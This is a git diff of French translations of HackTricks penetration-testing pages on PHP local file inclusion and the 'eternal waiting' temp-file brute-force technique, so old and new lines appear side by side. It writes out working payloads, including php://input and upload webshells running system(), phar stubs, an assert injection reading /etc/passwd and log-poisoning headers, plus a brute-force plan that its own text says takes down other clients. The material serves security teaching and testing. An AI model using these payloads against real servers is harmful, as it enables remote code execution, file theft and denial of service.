En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via les filtres PHP**](lfi2rce-via-php-filters.md).
|
||||
|
@ -357,7 +353,7 @@ http://example.com/index.php?page=expect://ls
|
|||
```
|
||||
### input://
|
||||
|
||||
Spécifiez votre charge utile dans les paramètres POST
|
||||
Spécifiez votre payload dans les paramètres POST
|
||||
```
|
||||
http://example.com/index.php?page=php://input
|
||||
POST DATA: <?php system('id'); ?>
|
||||
|
@ -376,9 +372,11 @@ $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
|||
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Et vous pouvez compiler le `phar` en exécutant la ligne suivante :
|
||||
```
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
|
@ -393,16 +391,16 @@ Pour plus d'informations, lisez le post suivant :
|
|||
|
||||
### Plus de protocoles
|
||||
|
||||
Vérifiez plus de [**protocoles possibles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Vérifiez plus de [**protocoles possibles à inclure ici**](https://www.php.net/manual/fr/wrappers.php)**:**
|
||||
|
||||
* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque par inclusion de fichier)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URL HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URL FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Recherche de chemins correspondant à un motif (Il ne retourne rien d'imprimable, donc pas vraiment utile ici)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
|
||||
* [php://memory et php://temp](https://www.php.net/manual/fr/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque par inclusion de fichier)
|
||||
* [file://](https://www.php.net/manual/fr/wrappers.file.php) — Accès au système de fichiers local
|
||||
* [http://](https://www.php.net/manual/fr/wrappers.http.php) — Accès aux URL HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/fr/wrappers.ftp.php) — Accès aux URL FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/fr/wrappers.compression.php) — Flux de compression
|
||||
* [glob://](https://www.php.net/manual/fr/wrappers.glob.php) — Recherche de chemins correspondant à un motif (Il ne retourne rien d'imprimable, donc pas vraiment utile ici)
|
||||
* [ssh2://](https://www.php.net/manual/fr/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ogg://](https://www.php.net/manual/fr/wrappers.audio.php) — Flux audio (Inutile pour lire des fichiers arbitraires)
|
||||
|
||||
## LFI via l'assertion de PHP
|
||||
|
||||
|
@ -412,7 +410,7 @@ Un payload comme celui-ci :
|
|||
```
|
||||
' and die(show_source('/etc/passwd')) or '
|
||||
```
|
||||
exploitera avec succès du code PHP pour un paramètre "file" qui ressemble à ceci :
|
||||
réussira à exploiter le code PHP pour un paramètre "file" qui ressemble à ceci :
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
||||
```
|
||||
|
@ -427,23 +425,23 @@ Assurez-vous d'encoder les URL des charges utiles avant de les envoyer.
|
|||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Aperçus du Hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
|
||||
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
|
||||
|
||||
**Nouvelles du Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec les lancements de nouvelles primes de bugs et les mises à jour cruciales de la plateforme
|
||||
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin de fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**), mais le contenu n'est pas affiché.
|
||||
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui accédera à un fichier mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**), mais le contenu n'est pas affiché.
|
||||
{% endhint %}
|
||||
|
||||
Dans [**cet incroyable article**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment un blind path traversal peut être abusé via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
||||
Dans [**cet incroyable article**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment un blind path traversal peut être exploité via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
||||
|
||||
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
|
||||
|
@ -502,11 +500,11 @@ User-Agent: <?=phpinfo(); ?>
|
|||
```
|
||||
### Via téléchargement
|
||||
|
||||
Si vous pouvez télécharger un fichier, injectez simplement le payload de la shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
||||
Si vous pouvez télécharger un fichier, injectez simplement le payload de la coquille dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Afin de maintenir le fichier lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
|
||||
Afin de maintenir le fichier lisible, il est préférable d'injecter dans les métadonnées des images/documents/PDF
|
||||
|
||||
### Via l'upload de fichier Zip
|
||||
|
||||
|
@ -550,9 +548,9 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
|||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (aucun fichier nécessaire)
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **des filtres php pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
||||
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **des filtres php pour générer un contenu arbitraire** en sortie. Cela signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin d'écrire** dans un fichier.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -560,7 +558,7 @@ Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
|
|||
|
||||
### Via segmentation fault
|
||||
|
||||
**Téléchargez** un fichier qui sera stocké de manière **temporaire** dans `/tmp`, puis dans la **même requête,** déclenchez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
|
||||
**Téléchargez** un fichier qui sera stocké de manière **temporaire** dans `/tmp`, puis dans la **même requête**, déclenchez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
|
@ -608,18 +606,18 @@ Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer
|
|||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire en sorte que le serveur **suspende** l'exécution de PHP, vous pourriez alors **forcer le nom des fichiers pendant des heures** pour trouver le fichier temporaire :
|
||||
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire en sorte que le serveur **suspende** l'exécution de PHP, vous pourriez alors **forcer brutalement les noms de fichiers pendant des heures** pour trouver le fichier temporaire :
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Jusqu'à l'erreur fatale
|
||||
### To Fatal Error
|
||||
|
||||
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur).
|
||||
|
||||
**Je ne sais pas en quoi cela peut être utile, mais cela pourrait l'être.**\
|
||||
_Même si vous provoquez une erreur fatale PHP, les fichiers temporaires téléchargés en PHP sont supprimés._
|
||||
**Je ne sais pas comment cela peut être utile, mais cela pourrait l'être.**\
|
||||
_Même si vous provoquez une Erreur Fatale PHP, les fichiers temporaires téléchargés sont supprimés._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -637,7 +635,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking.
|
||||
|
||||
**Nouvelles de Hacking en Temps Réel**\
|
||||
**Actualités Hack en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce à des nouvelles et des aperçus en temps réel.
|
||||
|
||||
**Dernières Annonces**\
|
||||
|
@ -647,12 +645,14 @@ Restez informé avec les derniers lancements de primes de bugs et les mises à j
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,107 +1,123 @@
|
|||
# LFI2RCE via Eternal waiting
|
||||
# LFI2RCE via Attente éternelle
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Par défaut, lorsqu'un fichier est téléchargé sur PHP (même s'il ne s'y attend pas), il générera un fichier temporaire dans `/tmp` avec un nom tel que **`php[a-zA-Z0-9]{6}`**, bien que j'ai vu certaines images Docker où les fichiers générés ne contiennent pas de chiffres.
|
||||
Par défaut, lorsqu'un fichier est téléversé sur PHP (même s'il ne l'attend pas), il générera un fichier temporaire dans `/tmp` avec un nom tel que **`php[a-zA-Z0-9]{6}`**, bien que j'aie vu des images docker où les fichiers générés ne contiennent pas de chiffres.
|
||||
|
||||
Dans une inclusion de fichier local, **si vous parvenez à inclure ce fichier téléchargé, vous obtiendrez une RCE**.
|
||||
Dans une inclusion de fichier local, **si vous parvenez à inclure ce fichier téléversé, vous obtiendrez un RCE**.
|
||||
|
||||
Notez que par défaut, **PHP ne permet de télécharger que 20 fichiers dans une seule requête** (défini dans `/etc/php/<version>/apache2/php.ini`) :
|
||||
Notez que par défaut **PHP ne permet de téléverser que 20 fichiers dans une seule requête** (défini dans `/etc/php/<version>/apache2/php.ini`) :
|
||||
```
|
||||
; Maximum number of files that can be uploaded via a single request
|
||||
max_file_uploads = 20
|
||||
```
|
||||
Aussi, le **nombre de noms de fichiers potentiels est de 62\*62\*62\*62\*62\*62 = 56800235584**
|
||||
Aussi, **le nombre de noms de fichiers potentiels est de 62\*62\*62\*62\*62\*62 = 56800235584**
|
||||
|
||||
### Autres techniques
|
||||
|
||||
D'autres techniques consistent à attaquer les protocoles PHP (vous ne pourrez pas le faire si vous ne contrôlez que la dernière partie du chemin), à divulguer le chemin du fichier, à abuser des fichiers attendus, ou à **faire souffrir PHP d'une erreur de segmentation pour que les fichiers temporaires téléchargés ne soient pas supprimés**.\
|
||||
Cette technique est **très similaire à la dernière, mais sans avoir besoin de trouver un jour zéro**.
|
||||
D'autres techniques reposent sur l'attaque de protocoles PHP (vous ne pourrez pas si vous contrôlez uniquement la dernière partie du chemin), la divulgation du chemin du fichier, l'exploitation de fichiers attendus, ou **faire en sorte que PHP subisse une faute de segmentation pour que les fichiers temporaires téléchargés ne soient pas supprimés**.\
|
||||
Cette technique est **très similaire à la précédente mais sans avoir besoin de trouver un zero day**.
|
||||
|
||||
### Technique de l'attente éternelle
|
||||
|
||||
Dans cette technique, **nous avons seulement besoin de contrôler un chemin relatif**. Si nous parvenons à télécharger des fichiers et à faire en sorte que **LFI ne se termine jamais**, nous aurons "assez de temps" pour **forcer la recherche de fichiers téléchargés** et **trouver** n'importe lequel d'entre eux.
|
||||
Dans cette technique, **nous avons seulement besoin de contrôler un chemin relatif**. Si nous parvenons à télécharger des fichiers et à faire en sorte que **l'inclusion LFI ne se termine jamais**, nous aurons "suffisamment de temps" pour **forcer le passage des fichiers téléchargés** et **trouver** l'un des fichiers téléchargés.
|
||||
|
||||
**Avantages de cette technique**:
|
||||
**Avantages de cette technique** :
|
||||
|
||||
* Vous avez seulement besoin de contrôler un chemin relatif à l'intérieur d'une inclusion
|
||||
* Vous avez juste besoin de contrôler un chemin relatif dans une inclusion
|
||||
* Ne nécessite pas nginx ou un niveau d'accès inattendu aux fichiers journaux
|
||||
* Ne nécessite pas un jour zéro pour provoquer une erreur de segmentation
|
||||
* Ne nécessite pas de divulgation de chemin
|
||||
* Ne nécessite pas un zero day pour provoquer une faute de segmentation
|
||||
* Ne nécessite pas une divulgation de chemin
|
||||
|
||||
Les **principaux problèmes** de cette technique sont:
|
||||
Les **principaux problèmes** de cette technique sont :
|
||||
|
||||
* Besoin d'un ou plusieurs fichiers spécifiques à être présents (il peut y en avoir plus)
|
||||
* Le **nombre incroyable** de noms de fichiers potentiels : **56800235584**
|
||||
* Si le serveur n'utilise **pas de chiffres**, le nombre total potentiel est de : **19770609664**
|
||||
* Par défaut, **seuls 20 fichiers** peuvent être téléchargés dans une **seule requête**.
|
||||
* Le **nombre maximal de travailleurs en parallèle** du serveur utilisé.
|
||||
* Cette limite avec les précédentes peut rendre cette attaque trop longue
|
||||
* **Délai d'attente pour une requête PHP**. Idéalement, cela devrait être éternel ou devrait tuer le processus PHP sans supprimer les fichiers téléchargés temporaires, sinon cela sera également une douleur
|
||||
* Nécessité qu'un fichier spécifique soit présent (il pourrait y en avoir d'autres)
|
||||
* Le nombre **insensé** de noms de fichiers potentiels : **56800235584**
|
||||
* Si le serveur **n'utilise pas de chiffres** le nombre total potentiel est de : **19770609664**
|
||||
* Par défaut, **seulement 20 fichiers** peuvent être téléchargés dans une **seule requête**.
|
||||
* Le **nombre maximum de travailleurs parallèles** du serveur utilisé.
|
||||
* Cette limite avec les précédentes peut rendre cette attaque trop longue
|
||||
* **Délai d'attente pour une requête PHP**. Idéalement, cela devrait être éternel ou devrait tuer le processus PHP sans supprimer les fichiers temporairement téléchargés, sinon, cela sera également un problème
|
||||
|
||||
Alors, comment pouvez-vous **faire en sorte qu'une inclusion PHP ne se termine jamais** ? Tout simplement en incluant le fichier **`/sys/kernel/security/apparmor/revision`** (**malheureusement pas disponible dans les conteneurs Docker**).
|
||||
Alors, comment pouvez-vous **faire en sorte qu'une inclusion PHP ne se termine jamais** ? Tout simplement en incluant le fichier **`/sys/kernel/security/apparmor/revision`** (**malheureusement non disponible dans les conteneurs Docker**).
|
||||
|
||||
Essayez-le simplement en appelant :
|
||||
Essayez-le en appelant :
|
||||
```bash
|
||||
php -a # open php cli
|
||||
include("/sys/kernel/security/apparmor/revision");
|
||||
```
|
||||
## Apache2
|
||||
|
||||
Par défaut, Apache supporte **150 connexions simultanées**, selon [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/), il est possible d'augmenter ce nombre jusqu'à 8000. Suivez ceci pour utiliser PHP avec ce module: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
Par défaut, Apache supporte **150 connexions simultanées**, en suivant [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) il est possible d'augmenter ce nombre jusqu'à 8000. Suivez ceci pour utiliser PHP avec ce module : [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
|
||||
Par défaut, (comme je peux le voir dans mes tests), un **processus PHP peut durer éternellement**.
|
||||
|
||||
Faisons des maths:
|
||||
Faisons quelques calculs :
|
||||
|
||||
* Nous pouvons utiliser **149 connexions** pour générer **149 \* 20 = 2980 fichiers temporaires** avec notre webshell.
|
||||
* Ensuite, utilisez la **dernière connexion** pour **brute-force** les fichiers potentiels.
|
||||
* À une vitesse de **10 requêtes/s**, les temps sont:
|
||||
* 56800235584 / 2980 / 10 / 3600 \~= **530 heures** (50% de chances en 265h)
|
||||
* (sans chiffres) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de chances en 93h)
|
||||
* Ensuite, utiliser la **dernière connexion** pour **forcer brutalement** les fichiers potentiels.
|
||||
* À une vitesse de **10 requêtes/s**, les temps sont :
|
||||
* 56800235584 / 2980 / 10 / 3600 ≈ **530 heures** (50% de chance en 265h)
|
||||
* (sans chiffres) 19770609664 / 2980 / 10 / 3600 ≈ 185h (50% de chance en 93h)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que dans l'exemple précédent, nous sommes en train de **DoS complètement d'autres clients**!
|
||||
Notez que dans l'exemple précédent, nous sommes en train de **DoS complètement les autres clients** !
|
||||
{% endhint %}
|
||||
|
||||
Si le serveur Apache est amélioré et que nous pouvons abuser de **4000 connexions** (à mi-chemin du nombre maximal). Nous pourrions créer `3999*20 = 79980` **fichiers** et le **nombre** serait **réduit** à environ **19,7h** ou **6,9h** (10h, 3,5h 50% de chances).
|
||||
Si le serveur Apache est amélioré et que nous pouvions abuser de **4000 connexions** (à mi-chemin du maximum). Nous pourrions créer `3999*20 = 79980` **fichiers** et le **nombre** serait **réduit** à environ **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
Si au lieu d'utiliser le module php régulier pour apache pour exécuter des scripts PHP, la **page web utilise PHP-FMP** (ce qui améliore l'efficacité de la page web, donc c'est courant de le trouver), il y a autre chose qui peut être fait pour améliorer la technique.
|
||||
Si au lieu d'utiliser le module php régulier pour apache pour exécuter des scripts PHP, **la page web utilise** **PHP-FMP** (cela améliore l'efficacité de la page web, donc il est courant de le trouver), il y a autre chose qui peut être fait pour améliorer la technique.
|
||||
|
||||
PHP-FMP permet de **configurer le paramètre** **`request_terminate_timeout`** dans **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
|
||||
Ce paramètre indique le nombre maximum de secondes **lorsque la demande à PHP doit se terminer** (infini par défaut, mais **30s si le paramètre est décommenté**). Lorsqu'une demande est en cours de traitement par PHP pendant le nombre de secondes indiqué, elle est **tuée**. Cela signifie que si la demande téléchargeait des fichiers temporaires, parce que le **traitement php a été arrêté**, ces **fichiers ne seront pas supprimés**. Par conséquent, si vous pouvez faire durer une demande pendant ce temps, vous pouvez **générer des milliers de fichiers temporaires** qui ne seront pas supprimés, ce qui **accélérera le processus de recherche** et réduira la probabilité d'un DoS sur la plateforme en consommant toutes les connexions.
|
||||
PHP-FMP permet de **configurer** le **paramètre** **`request_terminate_timeout`** dans **`/etc/php/<version-php>/fpm/pool.d/www.conf`**.\
|
||||
Ce paramètre indique le nombre maximum de secondes **quand** **la requête à PHP doit se terminer** (infini par défaut, mais **30s si le paramètre est décommenté**). Lorsqu'une requête est traitée par PHP pendant le nombre de secondes indiqué, elle est **tuée**. Cela signifie que si la requête était en train de télécharger des fichiers temporaires, parce que le **traitement php a été arrêté**, ces **fichiers ne seront pas supprimés**. Par conséquent, si vous pouvez faire durer une requête ce temps, vous pouvez **générer des milliers de fichiers temporaires** qui ne seront pas supprimés, ce qui **accélérera le processus de les trouver** et réduit la probabilité d'un DoS sur la plateforme en consommant toutes les connexions.
|
||||
|
||||
Donc, pour **éviter le DoS**, supposons qu'un **attaquant n'utilisera que 100 connexions** en même temps et que le temps de traitement maximal de PHP par **php-fmp** (`request_terminate_timeout`**)** est de **30s**. Par conséquent, le nombre de **fichiers temporaires** qui peuvent être générés **par seconde** est de `100*20/30 = 66,67`.
|
||||
Donc, pour **éviter le DoS**, supposons qu'un **attaquant utilisera seulement 100 connexions** en même temps et le temps de traitement maximum par **php-fmp** (`request_terminate_timeout`**) est de **30s**. Par conséquent, le nombre de **fichiers temporaires** qui peuvent être générés **par seconde** est `100*20/30 = 66.67`.
|
||||
|
||||
Ensuite, pour générer **10000 fichiers**, un attaquant aurait besoin de: **`10000/66.67 = 150s`** (pour générer **100000 fichiers**, le temps serait de **25min**).
|
||||
Ensuite, pour générer **10000 fichiers**, un attaquant aurait besoin : **`10000/66.67 = 150s`** (pour générer **100000 fichiers**, le temps serait de **25min**).
|
||||
|
||||
Ensuite, l'attaquant pourrait utiliser ces **100 connexions** pour effectuer une **recherche brute-force**. En supposant une vitesse de 300 req/s, le temps nécessaire pour exploiter cela est le suivant:
|
||||
Ensuite, l'attaquant pourrait utiliser ces **100 connexions** pour effectuer une **recherche par force brute**. \*\*\*\* En supposant une vitesse de 300 req/s, le temps nécessaire pour exploiter ceci est le suivant :
|
||||
|
||||
* 56800235584 / 10000 / 300 / 3600 \~= **5,25 heures** (50% de chances en 2,63h)
|
||||
* (avec 100000 fichiers) 56800235584 / 100000 / 300 / 3600 \~= **0,525 heures** (50% de chances en 0,263h)
|
||||
* 56800235584 / 10000 / 300 / 3600 ≈ **5.25 heures** (50% de chance en 2.63h)
|
||||
* (avec 100000 fichiers) 56800235584 / 100000 / 300 / 3600 ≈ **0.525 heures** (50% de chance en 0.263h)
|
||||
|
||||
Oui, il est possible de générer 100000 fichiers temporaires dans une instance de taille moyenne EC2:
|
||||
Oui, il est possible de générer 100000 fichiers temporaires dans une instance EC2 de taille moyenne :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que pour déclencher le délai d'attente, il suffirait d'**inclure la page LFI vulnérable**, afin qu'elle entre dans une boucle d'inclusion éternelle.
|
||||
Notez que pour déclencher le délai d'attente, il suffirait d'inclure la page LFI vulnérable, pour qu'elle entre dans une boucle d'inclusion éternelle.
|
||||
{% endhint %}
|
||||
|
||||
## Nginx
|
||||
|
||||
Il semble que par défaut, Nginx supporte **512 connexions parallèles** en même temps (et ce nombre peut être amélioré).
|
||||
Il semble que par défaut Nginx supporte **512 connexions parallèles** en même temps (et ce nombre peut être amélioré).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
